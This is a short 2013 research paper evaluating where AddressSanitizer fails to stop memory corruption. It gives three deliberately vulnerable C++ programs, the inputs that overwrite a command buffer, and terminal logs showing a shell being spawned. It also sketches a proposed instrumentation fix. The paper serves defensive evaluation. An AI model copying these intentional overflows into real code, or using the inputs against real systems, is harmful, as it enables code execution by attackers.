Bypassing AddressSanitizer

Eric Wimberley
September 5, 2013

Abstract

This paper evaluates AddressSanitizer as a next generation memory corruption prevention framework. It provides demonstrable tests of problems that are fixed, as well as problems that still exist.

Some overflow cases are very difficult to solve without abandoning backwards compatibility. If there is an overflow that does not cross heap block or object boundaries, but still crosses semantic boundaries, it doesn't write over the canary at the end of that block. Below are some examples of programs that are not safe even with AddressSanitizer enabled. All code was compiled with g++ 4.8.0 and AddressSanitizer enabled on Ubuntu 12.04.

Adjacent Buffers in the Same Struct/Class

The following source code demonstrates a vulnerable program:

```
#include <stdio.h>
#include <stdlib.h>

class Test{
public:

Test(){
        command[0] = 'l';
        command[1] = 's';
        command[2] = '\0';
}

void a(){
        scanf("%s", buffer);
        system(command);
}

private:
char buffer[10];
char command[10];
};

int main(){
        Test aTest = Test();
        aTest.a();
}
```

This program can be manipulated into popping a shell with the following input:

```
user@host:~$ ./test
aaaaaaaaaa/bin/sh;
$
```

Adjacent Buffers AddressSanitizer Solution

There may be a way to solve this problem within Address Sanitizer, at least for Objects. The code above needs to be instrumented as following:

```
#include <stdio.h>
#include <stdlib.h>

class Test{
public:

Test(){
        command[0] = 'l';
        command[1] = 's';
        command[2] = '\0';

        shadow_base = MemToShadow(redzone1);
        shadow_base[0] = 0xffffffff;
        shadow_base[1] = 0xfffff000;
        shadow_base[2] = 0xfffff000;
}

~Test(){
        shadow_base[0] = shadow_base[1] = shadow_base[2] = 0;
}

void a(){
        scanf("%s", buffer);
        system(command);
}

private:
       char redzone1[32];
       char buffer[10];
       char redzone2[22];
       char command[10];
       char redzone[22];
       int *shadow_base;
       shadow_base[0];
};
```

```
int main(){
        Test *aTest = new Test();
        aTest->a();
}
```

Stack Arbitrary Write Address Brute Force

Certain buffer overflows give more control to attacker than simply writing past the end of an array. In cases where the attacker can control the relative offset from the exploited buffer, AddressSanitizer can be defeated by keeping to writable memory. Take this program for example:

```
#include <stdio.h>
#include <stdlib.h>

class Test{
public:

void a(){
       int write = 0;
       int position = 0;
       while(write != -1){
              buffer[position] = write;
              scanf("%d", &write);
              scanf("%d", &position);
              printf("%p\n", &buffer[position]);
       }
}

private:
int buffer[10];
};

class Command{
public:

Command(){
       command[0] = 'l';
       command[1] = 's';
       command[2] = '\0';
}

void a(){
       system(command);
}
```

```
private:
char command[10];
};

int main(){
	Command c1 = Command();
	Test aTest = Test();
	printf("%p\n", &c1.command);
	aTest.a();
	c1.a();
}
```

We can exploit such a program by turning “sh” into an integer of the same hexadecimal value. Most locations that we can write to trigger a segfault, but the very address that we want to modify does not. The relative offset to this address is also the same every time the program is executed.

```
eric@ubuntu:~$ ./unprotected_stack.bin
0x7fffb23634a0
26739 -16
0x7fffb23634a0
-1 -1
0x7fffb23634dc
$ whoami
eric
$ exit
```

AddressSanitizer seems to take care of this problem on the heap for the most part, but the stack is still very vulnerable.

Integer Overflow Arbitrary Stack Writes

Consider the following program with an integer overflow vulnerability. The buffers are out of order for a normal buffer overflow attack, and there is shadow memory between them when AddressSanitizer is used. Writing anywhere besides one of the buffers will trigger a segfault.

```
#include <stdio.h>
#include <stdlib.h>

int a(){
	int position = 0;
	char in;
	char buff2[10] = "dir";
	char buff[10];
	printf("buff position: %p\n", buff);
	printf("buff2 position: %p\n", buff2);
```

```
        scanf("%d\n", &position);
        if(position < 0){
                printf("nice try...\n");
                exit(1);
        }
        position = position*2;
        in = 0;
        while(position < 10 && in != '\n'){
                scanf("%c", &in);
                buff[position] = in;
                printf("%d\n", position);
                position++;
        }
        printf("buff: %s\n", buff);
        printf("buff2: %s\n", buff2);
        system(buff2);
}

int main(){
        a();
}
```

However, the integer overflow allows us to completely skip over the shadow memory. This is a much more realistic scenario. It is difficult to detect this kind of pin-point corruption without randomizing the offsets between buffers. This is tricky to do on the stack, but not impossible.

```
ewimberley@ubuntu:~/AdvancedMemoryChallenges$ ./4.bin
buff position: 0x7fff2407d870
buff2 position: 0x7fff2407d830
2147483616sh;
-64
-63
-62
-61
buff: ﷿`
buff2: sh;

$ whoami
ewimberley
```

More source code is available at https://github.com/ewimberley/AdvancedMemoryChallenges.